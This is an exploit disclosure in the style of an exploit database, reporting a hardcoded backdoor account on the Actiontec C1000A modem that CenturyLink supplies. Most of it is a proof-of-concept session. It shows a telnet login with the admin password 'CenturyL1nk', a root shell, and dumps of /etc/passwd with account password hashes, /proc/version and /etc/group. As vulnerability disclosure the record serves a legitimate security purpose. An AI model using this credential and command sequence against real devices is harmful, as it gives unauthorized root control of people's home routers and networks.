32 lines
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1.1 KiB
Text
32 lines
No EOL
1.1 KiB
Text
# Exploit Title: Actiontec C1000A backdoor account
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# Google Dork: NA
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# Date: 11/04/2017
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# Exploit Author: Joseph McDonagh
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# Vendor Homepage: https://actiontecsupport.zendesk.com/hc/en-us
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# Software Link: N/A Hardware
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# Version: Firmware CAC003-31.30L.86
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# Tested on: Linux
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# CVE : NA
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# The Actiontec C1000A Modem provided by CenturyLink has hardcoded passwords. This is similar to another recent submission by Matthew Shiemo, who inspired me to check the device I use.
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# Proof of Concept
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$ telnet 192.168.0.1
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===Actiontec xDSL Router===
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Login: admin
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Password: CenturyL1nk
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> sh
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BusyBox v1.17.2 (2015-10-30 10:34:29 CST built-in shell (ash)
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Enter 'help' for a list of build-in commands
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# cat /etc/passwd
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admin:Rtqa.nQhYPBRo:0:0:Administratir:/:/bin/sh
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support:vmiTSa8ukDkOY:0:0:Technical Support:/:/bin/sh
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user:Fq10qi6QmLmmY:0:0:Normal User:/:/bin/sh
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nobody:rZy3YulyLvuYU:0:0:nobody for ftp:/bin/sh
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# cat /proc/version
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Linux version 2.6.30 (waye@hugh-PowerEdge-R220.home) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Oct 30 12:32:15 CST 2015
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# cat /etc/group
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root::0:root,admin,support,user |